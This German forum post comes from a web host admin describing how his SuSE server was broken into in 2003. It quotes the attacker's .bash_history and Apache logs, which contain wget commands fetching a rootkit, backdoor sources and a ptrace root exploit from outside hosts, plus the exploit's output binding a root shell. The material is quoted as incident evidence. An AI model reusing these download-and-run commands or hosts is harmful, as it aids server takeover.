[quote="dea"]
@webhilfe: EIn Compiler hat auf einem Server genausowenig zu suchen wie (nicht zwingend benötigte) Interpreter. Die Quittung hast Du nun bekommen, denn ohne Compiler wäre
diese Art der Attacke ins Leere gelaufen ...
[quote]
Hi,
@dea
also der compiler ist standard bei Suse 7.2. Ausserdem halte ich diesen auch für sinnvoll, zumal der Server nach dem erneuten Angriff gerade einen Tag alt war und ich das System ja irgendwie aufbauen muss.
Anzeige werde ich heute noch erstatten. Es liegt mir ja die IP des eines Users von letzter Woche vor, der Versucht hat das root pw zu knacken.
Auf dem Server sind 10 Kunden von mir drauf, allerdings musste ich einem Kunden vor 2 Wochen Kündigen. Vielleicht ist das ja seine Rache an mir?!
Der Apache Server wurde nach der Anleitung hier im Forum aufgesetzt.
Die php.ini war die standard Datei. Das einzige was ich dort geändert hatte war register_globals on.
Dies habe ich noch in den Logs des ersten Angriffs gefunden:
Code: Select all
Der Hacker hat im Hauptverzeichniss eine .bash_history hinterlassen.
id
wget http://www.zlotow.net/~shcrew/web/files/sh/shv4.tgz
tar -xzvf shv4.tgz
cd shv4
./setup fregna 88990
killall -9 backwget
killall -9 ttylynx
killall -9 ttymon
killall -9 ttywget
Apache error_log:
[Mon Aug 4 14:35:32 2003] [error] mod_ssl: SSL handshake failed: HTTP spoken on HTTPS port; trying to send HTML error page (OpenSSL library error follows)
[Mon Aug 4 14:35:32 2003] [error] OpenSSL: error:1407609C:SSL routines:func(118):reason(156)
p100:~ # netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:55555 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:873 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:24876 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:783 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 217.160.xxx.xxx:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 217.160.xxx.xxx:80 217.160.xxx.xxx:33158 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33157 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33156 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33155 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33154 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33153 TIME_WAIT
tcp 0 128 217.160.x.x:22 62.109.119.39:1121 ESTABLISHED
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33152 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33167 TIME_WAIT
tcp 0 0 217.160.x.x:21 62.109.119.39:1166 ESTABLISHED
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33165 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33164 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33163 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.90.191:47725 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33162 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.90.191:47726 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33161 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33160 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33175 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33174 TIME_WAIT
tcp 0 0 217.160.x.x:110 217.227.157.82:4612 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33173 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33172 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33171 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33170 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33168 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33151 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33150 TIME_WAIT
tcp 0 0 217.160.x.x:110 217.227.157.82:4620 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33149 TIME_WAIT
tcp 0 0 217.160.x.x:80 217.160.xxx.xxx:33147 TIME_WAIT
tcp 0 0 217.160.x.x:22 62.109.119.39:1113 ESTABLISHED
udp 0 0 127.0.0.1:32768 127.0.0.1:123 ESTABLISHED
udp 0 0 0.0.0.0:514 0.0.0.0:*
udp 0 0 0.0.0.0:10000 0.0.0.0:*
udp 0 0 0.0.0.0:161 0.0.0.0:*
udp 0 0 217.160.x.x:53 0.0.0.0:*
udp 0 0 127.0.0.1:53 0.0.0.0:*
udp 0 0 0.0.0.0:32977 0.0.0.0:*
udp 0 0 217.160.x.x:123 0.0.0.0:*
udp 0 0 127.0.0.1:123 0.0.0.0:*
udp 0 0 0.0.0.0:123 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 66113462 /tmp/ssh-XXmT4Dtx/agent.25279
unix 2 [ ACC ] STREAM LISTENING 210 /usr/local/share/sqwebmail3/var/authdaemon/socket.tmp
unix 2 [ ACC ] STREAM LISTENING 9033 /var/run/.nscd_socket
unix 2 [ ACC ] STREAM LISTENING 66098861 /tmp/ssh-XX4M55gA/agent.25069
unix 2 [ ACC ] STREAM LISTENING 7808 /var/lib/mysql/mysql.sock
unix 2 [ ACC ] STREAM LISTENING 56465184 /dev/log
unix 3 [ ] STREAM CONNECTED 66230049 /dev/log
unix 3 [ ] STREAM CONNECTED 66230048
unix 3 [ ] STREAM CONNECTED 66230047 /dev/log
unix 3 [ ] STREAM CONNECTED 66230046
unix 3 [ ] STREAM CONNECTED 66230039 /dev/log
unix 3 [ ] STREAM CONNECTED 66230038
unix 3 [ ] STREAM CONNECTED 66230037 /dev/log
unix 3 [ ] STREAM CONNECTED 66230036
unix 3 [ ] STREAM CONNECTED 66230032 /dev/log
unix 3 [ ] STREAM CONNECTED 66230031
unix 3 [ ] STREAM CONNECTED 57938339 /dev/log
unix 3 [ ] STREAM CONNECTED 57938338
unix 2 [ ] DGRAM 49870232
unix 2 [ ] DGRAM 19119045
unix 2 [ ] DGRAM 8422
unix 2 [ ] DGRAM 8230
unix 2 [ ] DGRAM 8040
unix 2 [ ] DGRAM 7813
unix 2 [ ] DGRAM 2802
p100:~ #
@Alexander Newald
Ist nichts besonderes drauf auf dem Rechner :-)
@static
Der Angreifer kam über den Indianer.
In der betreffenden Agriffzeit, Nachts um 5 Uhr.
Zu diesem Zeitpunkt war kein User auf dem System angemeldet.
Dies hab ich noch vom ersten Angriff gefunden:
Code: Select all
[Sun Aug 3 00:16:52 2003] [notice] Apache/1.3.27 (Unix) ApacheJServ/1.1.2 mod_throttle/3.0 mod_ssl/2.8.12 OpenSSL/0.9.6i mod_python/2.7.2 Python/2.0 PHP/4.3.0 mod_perl/1.25 mod_layout/1.0 mod_fastcgi/2.2.2 mod_dtcl configured -- resuming normal operations
[Sun Aug 3 00:16:52 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Aug 3 00:16:52 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Aug 3 00:16:52 2003] [warn] long lost child came home! (pid 18130)
--05:19:37-- http://members.xoom.it/merlotx/back.c
=> `/tmp/.tmp/backwget.c'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/back.c [following]
--05:19:38-- http://members.xoom.virgilio.it/merlotx/back.c
=> `/tmp/.tmp/backwget.c'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,282 [text/plain]
0K -> . [100%]
05:19:38 (1.22 MB/s) - `/tmp/.tmp/backwget.c' saved [1282/1282]
--05:19:38-- http://members.xoom.it/merlotx/back20.c
=> `/tmp/.tmp/back30.c'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/back20.c [following]
--05:19:38-- http://members.xoom.virgilio.it/merlotx/back20.c
=> `/tmp/.tmp/back30.c'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,335 [text/plain]
0K -> . [100%]
05:19:38 (1.27 MB/s) - `/tmp/.tmp/back30.c' saved [1335/1335]
--05:19:38-- http://members.xoom.it/merlotx/tty
=> `/tmp/.tmp/ttywget'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/tty [following]
--05:19:38-- http://members.xoom.virgilio.it/merlotx/tty
=> `/tmp/.tmp/ttywget'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 19,472 [text/plain]
0K -> .......... ......... [100%]
05:19:38 (358.79 KB/s) - `/tmp/.tmp/ttywget' saved [19472/19472]
--05:19:38-- http://packetstormsecurity.nl/0304-exploits/myptrace.c
=> `/tmp/.tmp/myptrace.c'
Connecting to packetstormsecurity.nl:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 6,296 [text/plain]
0K -> ...... [100%]
05:19:38 (341.58 KB/s) - `/tmp/.tmp/myptrace.c' saved [6296/6296]
--05:19:38-- http://members.xoom.it/merlotx/trace
=> `/tmp/.tmp/trace'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/trace [following]
--05:19:38-- http://members.xoom.virgilio.it/merlotx/trace
=> `/tmp/.tmp/trace'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 19,783 [text/plain]
0K -> .......... ......... [100%]
05:19:38 (364.52 KB/s) - `/tmp/.tmp/trace' saved [19783/19783]
-> Parent's PID is 753. Child's PID is 754.
-> Attaching to 755...
-> Got the thread!!
-> Waiting for the next signal...
-> Injecting shellcode at 0x400116cd
-> Bind root shell on port 24876... =p
-> Detached from modprobe thread.
-> Committing suicide.....
[+] Attached to 759
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x400116cd
[+] Now wait for suid shell...
[+] Attached to 764
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x400116cd
[+] Now wait for suid shell...
bind: Address already in use
mkdir: cannot create directory `/tmp/.tmp': File exists
sh: /tmp/.tmp/tracelyn: Permission denied
--05:19:49-- http://members.xoom.it/merlotx/back.c
=> `/tmp/.tmp/backwget.c'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/back.c [following]
--05:19:49-- http://members.xoom.virgilio.it/merlotx/back.c
=> `/tmp/.tmp/backwget.c'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,282 [text/plain]
0K -> . [100%]
05:19:49 (1.22 MB/s) - `/tmp/.tmp/backwget.c' saved [1282/1282]
--05:19:49-- http://members.xoom.it/merlotx/back20.c
=> `/tmp/.tmp/back30.c'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/back20.c [following]
--05:19:49-- http://members.xoom.virgilio.it/merlotx/back20.c
=> `/tmp/.tmp/back30.c'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,335 [text/plain]
0K -> . [100%]
05:19:49 (1.27 MB/s) - `/tmp/.tmp/back30.c' saved [1335/1335]
/tmp/.tmp/ttywget: Text file busy
--05:19:50-- http://packetstormsecurity.nl/0304-exploits/myptrace.c
=> `/tmp/.tmp/myptrace.c'
Connecting to packetstormsecurity.nl:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 6,296 [text/plain]
0K -> ...... [100%]
05:19:50 (341.58 KB/s) - `/tmp/.tmp/myptrace.c' saved [6296/6296]
/tmp/.tmp/trace: Permission denied
chmod: changing permissions of `/tmp/.tmp/trace': Operation not permitted
chmod: changing permissions of `/tmp/.tmp/tracelyn': Operation not permitted
-> Parent's PID is 841. Child's PID is 842.
-> Attaching to 843...
-> Got the thread!!
-> Waiting for the next signal...
-> Injecting shellcode at 0x400116cd
-> Bind root shell on port 24876... =p
-> Detached from modprobe thread.
-> Committing suicide.....
-> We survived??!!?? : No such process
bind: Address already in use
bind: Address already in use
mkdir: cannot create directory `/tmp/.tmp': File exists
sh: /tmp/.tmp/tracelyn: Permission denied
--05:19:54-- http://members.xoom.it/merlotx/back.c
=> `/tmp/.tmp/backwget.c'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/back.c [following]
--05:19:54-- http://members.xoom.virgilio.it/merlotx/back.c
=> `/tmp/.tmp/backwget.c'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,282 [text/plain]
0K -> . [100%]
05:19:54 (1.22 MB/s) - `/tmp/.tmp/backwget.c' saved [1282/1282]
--05:19:54-- http://members.xoom.it/merlotx/back20.c
=> `/tmp/.tmp/back30.c'
Connecting to members.xoom.it:80... connected!
HTTP request sent, awaiting response... 302 Found
Location: http://members.xoom.virgilio.it/merlotx/back20.c [following]
--05:19:54-- http://members.xoom.virgilio.it/merlotx/back20.c
=> `/tmp/.tmp/back30.c'
Connecting to members.xoom.virgilio.it:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,335 [text/plain]
0K -> . [100%]
05:19:54 (1.27 MB/s) - `/tmp/.tmp/back30.c' saved [1335/1335]
/tmp/.tmp/ttywget: Text file busy
--05:19:54-- http://packetstormsecurity.nl/0304-exploits/myptrace.c
=> `/tmp/.tmp/myptrace.c'
Connecting to packetstormsecurity.nl:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 6,296 [text/plain]
0K -> ...... [100%]
05:19:54 (323.60 KB/s) - `/tmp/.tmp/myptrace.c' saved [6296/6296]
/tmp/.tmp/trace: Permission denied
chmod: changing permissions of `/tmp/.tmp/trace': Operation not permitted
chmod: changing permissions of `/tmp/.tmp/tracelyn': Operation not permitted
-> Parent's PID is 917. Child's PID is 918.
-> Attaching to 919...
-> Got the thread!!
-> Waiting for the next signal...
-> Injecting shellcode at 0x400116cd
-> Bind root shell on port 24876... =p
-> Detached from modprobe thread.
-> Committing suicide.....
-> We survived??!!?? : No such process
bind: Address already in use
bind: Address already in use
grep: /var/log/httpd/confixx/confixx.p100.pureserver.de_access: Permission denied
grep: /var/log/httpd/confixx/confixx.p100.pureserver.de_access: Permission denied
grep: /var/log/httpd/confixx/confixx.p100.pureserver.de_access: Permission denied
grep: /var/log/httpd/confixx/confixx.p100.pureserver.de_access: Permission denied
[Sun Aug 03 16:42:28 2003] [warn-phpa] No mempool 2 memory (pid 25778)
[Sun Aug 03 16:42:28 2003] [notice-phpa] shm cache temporarily disabled (pid 25778)
Nach diesem Angriff der im gegensatz zum zweiten Angriff erfolgreich war, lief auf Port 55555 irgendetwas. Habe ich aber sofort mit IP Tables gespeert.
Es ist auch an den Logs zu erkennen, das sich eine Telekom User als root am System angemeldet hat. Mehrmals sogar.
Die lokalen User möchte ich mal ausschliessen, da keiner einen shell Zugang hat.
Ich gehe mal davon aus, das ein richtiger Hacker sich nicht mit meinem System beschäftigen würde. Daher glaube ich an ein Scriptkiddy, das in den nächsten Tagen ein sehr hohe Rechnung und eine Strafanzeige erhalten wird.
Danke nochmals für die Tips!!!